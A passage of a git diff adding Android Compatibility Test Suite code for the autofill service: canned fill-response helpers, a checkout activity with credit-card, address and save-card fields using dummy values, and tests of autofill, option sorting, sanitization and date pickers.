+        public Builder returnFailure(String message) {
+            assertWithMessage("already added datasets").that(mDatasets).isEmpty();
+            mFailureMessage = message;
+            return this;
+        }
+    }
+
+    /**
+     * Helper class used to produce a {@link Dataset} based on expected fields that should be
+     * present in the {@link AssistStructure}.
+     *
+     * <p>Typical usage:
+     *
+     * <pre class="prettyprint">
+     * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
+     *               .addDataset(new CannedDataset.Builder("dataset_name")
+     *                   .setField("resource_id1", AutofillValue.forText("value1"))
+     *                   .setField("resource_id2", AutofillValue.forText("value2"))
+     *                   .build())
+     *               .build());
+     * </pre class="prettyprint">
+     */
+    static class CannedDataset {
+        private final Map<String, AutofillValue> mFieldValues;
+        private final Map<String, RemoteViews> mFieldPresentations;
+        private final RemoteViews mPresentation;
+        private final IntentSender mAuthentication;
+        private final String mId;
+
+        private CannedDataset(Builder builder) {
+            mFieldValues = builder.mFieldValues;
+            mFieldPresentations = builder.mFieldPresentations;
+            mPresentation = builder.mPresentation;
+            mAuthentication = builder.mAuthentication;
+            mId = builder.mId;
+        }
+
+        /**
+         * Creates a new dataset, replacing the field ids by the real ids from the assist structure.
+         */
+        Dataset asDataset(Function<String, ViewNode> nodeResolver) {
+            final Dataset.Builder builder = (mPresentation == null)
+                    ? new Dataset.Builder()
+                    : new Dataset.Builder(mPresentation);
+
+            if (mFieldValues != null) {
+                for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
+                    final String resourceId = entry.getKey();
+                    final ViewNode node = nodeResolver.apply(resourceId);
+                    if (node == null) {
+                        throw new AssertionError("No node with resource id " + resourceId);
+                    }
+                    final AutofillId id = node.getAutofillId();
+                    final AutofillValue value = entry.getValue();
+                    final RemoteViews presentation = mFieldPresentations.get(resourceId);
+                    if (presentation != null) {
+                        builder.setValue(id, value, presentation);
+                    } else {
+                        builder.setValue(id, value);
+                    }
+                }
+            }
+            builder.setId(mId).setAuthentication(mAuthentication);
+            return builder.build();
+        }
+
+        @Override
+        public String toString() {
+            return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
+                    + ", fieldPresentations=" + (mFieldPresentations)
+                    + ", hasAuthentication=" + (mAuthentication != null)
+                    + ", fieldValuess=" + mFieldValues + "]";
+        }
+
+        static class Builder {
+            private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
+            private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
+            private RemoteViews mPresentation;
+            private IntentSender mAuthentication;
+            private String mId;
+
+            public Builder() {
+
+            }
+
+            public Builder(RemoteViews presentation) {
+                mPresentation = presentation;
+            }
+
+            /**
+             * Sets the canned value of a text field based on its {@code resourceId}.
+             */
+            public Builder setField(String resourceId, String text) {
+                return setField(resourceId, AutofillValue.forText(text));
+            }
+
+            /**
+             * Sets the canned value of a list field based on its {@code resourceId}.
+             */
+            public Builder setField(String resourceId, int index) {
+                return setField(resourceId, AutofillValue.forList(index));
+            }
+
+            /**
+             * Sets the canned value of a toggle field based on its {@code resourceId}.
+             */
+            public Builder setField(String resourceId, boolean toggled) {
+                return setField(resourceId, AutofillValue.forToggle(toggled));
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code resourceId}.
+             */
+            public Builder setField(String resourceId, long date) {
+                return setField(resourceId, AutofillValue.forDate(date));
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code resourceId}.
+             */
+            public Builder setField(String resourceId, AutofillValue value) {
+                mFieldValues.put(resourceId, value);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code resourceId}.
+             */
+            public Builder setField(String resourceId, String text, RemoteViews presentation) {
+                setField(resourceId, text);
+                mFieldPresentations.put(resourceId, presentation);
+                return this;
+            }
+
+            /**
+             * Sets the view to present the response in the UI.
+             */
+            public Builder setPresentation(RemoteViews presentation) {
+                mPresentation = presentation;
+                return this;
+            }
+
+            /**
+             * Sets the authentication intent.
+             */
+            public Builder setAuthentication(IntentSender authentication) {
+                mAuthentication = authentication;
+                return this;
+            }
+
+            /**
+             * Sets the name.
+             */
+            public Builder setId(String id) {
+                mId = id;
+                return this;
+            }
+
+            public CannedDataset build() {
+                return new CannedDataset(this);
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
new file mode 100644
index 0000000..0b8d938
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.widget.ArrayAdapter.createFromResource;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.ArrayAdapter;
+import android.widget.Button;
+import android.widget.CheckBox;
+import android.widget.EditText;
+import android.widget.RadioButton;
+import android.widget.RadioGroup;
+import android.widget.Spinner;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Credit Card Number EditText (id: cc_numberusername, no input-type)
+ *   <li>Credit Card Expiration EditText (id: cc_expiration, no input-type)
+ *   <li>Address RadioGroup (id: addess, no autofill-type)
+ *   <li>Save Credit Card CheckBox (id: save_cc, no autofill-type)
+ *   <li>Clear Button
+ *   <li>Buy Button
+ * </ul>
+ */
+public class CheckoutActivity extends AbstractAutoFillActivity {
+    private static final long BUY_TIMEOUT_MS = 1000;
+
+    static final String ID_CC_NUMBER = "cc_number";
+    static final String ID_CC_EXPIRATION = "cc_expiration";
+    static final String ID_ADDRESS = "address";
+    static final String ID_HOME_ADDRESS = "home_address";
+    static final String ID_WORK_ADDRESS = "work_address";
+    static final String ID_SAVE_CC = "save_cc";
+
+    static final int INDEX_ADDRESS_HOME = 0;
+    static final int INDEX_ADDRESS_WORK = 1;
+
+    static final int INDEX_CC_EXPIRATION_YESTERDAY = 0;
+    static final int INDEX_CC_EXPIRATION_TODAY = 1;
+    static final int INDEX_CC_EXPIRATION_TOMORROW = 2;
+    static final int INDEX_CC_EXPIRATION_NEVER = 3;
+
+    private EditText mCcNumber;
+    private Spinner mCcExpiration;
+    private ArrayAdapter<CharSequence> mCcExpirationAdapter;
+    private RadioGroup mAddress;
+    private RadioButton mHomeAddress;
+    private CheckBox mSaveCc;
+    private Button mBuyButton;
+    private Button mClearButton;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mBuyLatch;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mCcNumber = (EditText) findViewById(R.id.cc_number);
+        mCcExpiration = (Spinner) findViewById(R.id.cc_expiration);
+        mAddress = (RadioGroup) findViewById(R.id.address);
+        mHomeAddress = (RadioButton ) findViewById(R.id.home_address);
+        mSaveCc = (CheckBox) findViewById(R.id.save_cc);
+        mBuyButton = (Button) findViewById(R.id.buy);
+        mClearButton = (Button) findViewById(R.id.clear);
+
+        mCcExpirationAdapter = createFromResource(this,
+                R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
+        mCcExpirationAdapter
+                .setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mCcExpiration.setAdapter(mCcExpirationAdapter);
+
+        mBuyButton.setOnClickListener((v) -> buy());
+        mClearButton.setOnClickListener((v) -> resetFields());
+    }
+
+    protected int getContentView() {
+        return R.layout.checkout_activity;
+    }
+
+    /**
+     * Resets the values of the input fields.
+     */
+    private void resetFields() {
+        mCcNumber.setText("");
+        mCcExpiration.setSelection(0, false);
+        mAddress.clearCheck();
+        mSaveCc.setChecked(false);
+    }
+
+    /**
+     * Emulates a buy action.
+     */
+    private void buy() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Thank you an come again!");
+        startActivity(intent);
+        if (mBuyLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mBuyLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    void expectAutoFill(String ccNumber, int ccExpirationIndex, int addressId, boolean saveCc) {
+        mExpectation = new FillExpectation(ccNumber, ccExpirationIndex, addressId, saveCc);
+        mCcNumber.addTextChangedListener(mExpectation.ccNumberWatcher);
+        mCcExpiration.setOnItemSelectedListener(mExpectation.ccExpirationListener);
+        mAddress.setOnCheckedChangeListener(mExpectation.addressListener);
+        mSaveCc.setOnCheckedChangeListener(mExpectation.saveCcListener);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int, boolean)}.
+     */
+    void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.ccNumberWatcher.assertAutoFilled();
+        mExpectation.ccExpirationListener.assertAutoFilled();
+        mExpectation.addressListener.assertAutoFilled();
+        mExpectation.saveCcListener.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code ccNumber} in the UiThread.
+     */
+    void onCcNumber(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mCcNumber));
+    }
+
+    /**
+     * Visits the {@code ccExpirationDate} in the UiThread.
+     */
+    void onCcExpiration(Visitor<Spinner> v) {
+        syncRunOnUiThread(() -> v.visit(mCcExpiration));
+    }
+
+    /**
+     * Visits the {@code ccExpirationDate} adapter in the UiThread.
+     */
+    void onCcExpirationAdapter(Visitor<ArrayAdapter<CharSequence>> v) {
+        syncRunOnUiThread(() -> v.visit(mCcExpirationAdapter));
+    }
+
+    /**
+     * Visits the {@code address} in the UiThread.
+     */
+    void onAddress(Visitor<RadioGroup> v) {
+        syncRunOnUiThread(() -> v.visit(mAddress));
+    }
+
+    /**
+     * Visits the {@code homeAddress} in the UiThread.
+     */
+    void onHomeAddress(Visitor<RadioButton> v) {
+        syncRunOnUiThread(() -> v.visit(mHomeAddress));
+    }
+
+    /**
+     * Visits the {@code saveCC} in the UiThread.
+     */
+    void onSaveCc(Visitor<CheckBox> v) {
+        syncRunOnUiThread(() -> v.visit(mSaveCc));
+    }
+
+    /**
+     * Taps the buy button in the UI thread.
+     */
+    void tapBuy() throws Exception {
+        mBuyLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mBuyButton.performClick());
+        boolean called = mBuyLatch.await(BUY_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for buy action", BUY_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher ccNumberWatcher;
+        private final OneTimeSpinnerListener ccExpirationListener;
+        private final OneTimeRadioGroupListener addressListener;
+        private final OneTimeCompoundButtonListener saveCcListener;
+
+        private FillExpectation(String ccNumber, int ccExpirationIndex, int addressId,
+                boolean saveCc) {
+            this.ccNumberWatcher = new OneTimeTextWatcher("ccNumber", mCcNumber, ccNumber);
+            this.ccExpirationListener =
+                    new OneTimeSpinnerListener("ccExpiration", mCcExpiration, ccExpirationIndex);
+            addressListener = new OneTimeRadioGroupListener("address", mAddress, addressId);
+            saveCcListener = new OneTimeCompoundButtonListener("saveCc", mSaveCc, saveCc);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
new file mode 100644
index 0000000..c3809a0
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CheckoutActivity.ID_ADDRESS;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_EXPIRATION;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.CheckoutActivity.ID_HOME_ADDRESS;
+import static android.autofillservice.cts.CheckoutActivity.ID_SAVE_CC;
+import static android.autofillservice.cts.CheckoutActivity.ID_WORK_ADDRESS;
+import static android.autofillservice.cts.CheckoutActivity.INDEX_ADDRESS_WORK;
+import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_NEVER;
+import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_TODAY;
+import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_TOMORROW;
+import static android.autofillservice.cts.Helper.assertListValue;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.assertToggleIsSanitized;
+import static android.autofillservice.cts.Helper.assertToggleValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.view.View.AUTOFILL_TYPE_LIST;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.test.rule.ActivityTestRule;
+import android.widget.ArrayAdapter;
+import android.widget.Spinner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+/**
+ * Test case for an activity containing non-TextField views.
+ */
+public class CheckoutActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<CheckoutActivity> mActivityRule =
+        new ActivityTestRule<CheckoutActivity>(CheckoutActivity.class);
+
+    private CheckoutActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    @Test
+    public void testAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
+        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
+                .containsExactly(
+                        getContext().getResources().getStringArray(R.array.cc_expiration_values))
+                .inOrder();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillDynamicAdapter() throws Exception {
+        // Set activity.
+        mActivity.onCcExpiration((v) -> v.setAdapter(new ArrayAdapter<String>(getContext(),
+                android.R.layout.simple_spinner_item,
+                Arrays.asList("YESTERDAY", "TODAY", "TOMORROW", "NEVER"))));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNull();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    // TODO: this should be a pure unit test exercising onProvideAutofillStructure(),
+    // but that would require creating a custom ViewStructure.
+    @Test
+    public void testGetAutofillOptionsSorted() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set activity.
+        mActivity.onCcExpirationAdapter((adapter) -> adapter.sort((a, b) -> {
+            return ((String) a).compareTo((String) b);
+        }));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
+                .containsExactly("never", "today", "tomorrow", "yesterday").inOrder();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_CC_NUMBER, ID_CC_EXPIRATION, ID_ADDRESS, ID_SAVE_CC)
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcNumber((v) -> v.setText("108"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+        mActivity.onHomeAddress((v) -> v.setChecked(true));
+        mActivity.onSaveCc((v) -> v.setChecked(true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+
+        // Assert sanitization on fill request: everything should be sanitized!
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        assertTextIsSanitized(fillRequest.structure, ID_CC_NUMBER);
+        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertToggleIsSanitized(fillRequest.structure, ID_HOME_ADDRESS);
+        assertToggleIsSanitized(fillRequest.structure, ID_SAVE_CC);
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.onAddress((v) -> v.check(R.id.work_address));
+        mActivity.onSaveCc((v) -> v.setChecked(false));
+        mActivity.tapBuy();
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_CREDIT_CARD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert sanitization on save: everything should be available!
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CC_NUMBER), "4815162342");
+        assertListValue(findNodeByResourceId(saveRequest.structure, ID_CC_EXPIRATION),
+                INDEX_CC_EXPIRATION_TODAY);
+        assertListValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS),
+                INDEX_ADDRESS_WORK);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_HOME_ADDRESS), false);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java
new file mode 100644
index 0000000..4873c39
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+public class DatePickerCalendarActivity extends AbstractDatePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.date_picker_calendar_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
new file mode 100644
index 0000000..a51a00c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerCalendarActivityTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+
+public class DatePickerCalendarActivityTest extends DatePickerTestCase<DatePickerCalendarActivity> {
+
+    @Rule
+    public final ActivityTestRule<DatePickerCalendarActivity> mActivityRule =
+        new ActivityTestRule<DatePickerCalendarActivity>(DatePickerCalendarActivity.class);
+
+    @Override
+    protected DatePickerCalendarActivity getDatePickerActivity() {
+        return mActivityRule.getActivity();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java
new file mode 100644
index 0000000..c9d39f8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+public class DatePickerSpinnerActivity extends AbstractDatePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.date_picker_spinner_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
new file mode 100644
index 0000000..10851cd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerSpinnerActivityTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+
+public class DatePickerSpinnerActivityTest extends DatePickerTestCase<DatePickerSpinnerActivity> {
+
+    @Rule
+    public final ActivityTestRule<DatePickerSpinnerActivity> mActivityRule =
+        new ActivityTestRule<DatePickerSpinnerActivity>(DatePickerSpinnerActivity.class);
+
+    @Override
+    protected DatePickerSpinnerActivity getDatePickerActivity() {
+        return mActivityRule.getActivity();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
new file mode 100644
index 0000000..1d4f652
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.AbstractDatePickerActivity.ID_DATE_PICKER;
+import static android.autofillservice.cts.AbstractDatePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.Helper.assertDateValue;
+import static android.autofillservice.cts.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.icu.util.Calendar;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Base class for {@link AbstractDatePickerActivity} tests.
+ */
+abstract class DatePickerTestCase<T extends AbstractDatePickerActivity>
+        extends AutoFillServiceTestCase {
+
+    protected abstract T getDatePickerActivity();
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    @Test
+    public void testAutoFillAndSave() throws Exception {
+        final T activity = getDatePickerActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.YEAR, 2012);
+        cal.set(Calendar.MONTH, 11);
+        cal.set(Calendar.DAY_OF_MONTH, 20);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setPresentation(createPresentation("The end of the world"))
+                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
+                    .setField(ID_DATE_PICKER, cal.getTimeInMillis())
+                    .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
+                .build());
+        activity.expectAutoFill("2012/11/20", 2012, 11, 20);
+
+        // Trigger auto-fill.
+        activity.onOutput((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of DatePicker field.
+        assertTextIsSanitized(fillRequest.structure, ID_DATE_PICKER);
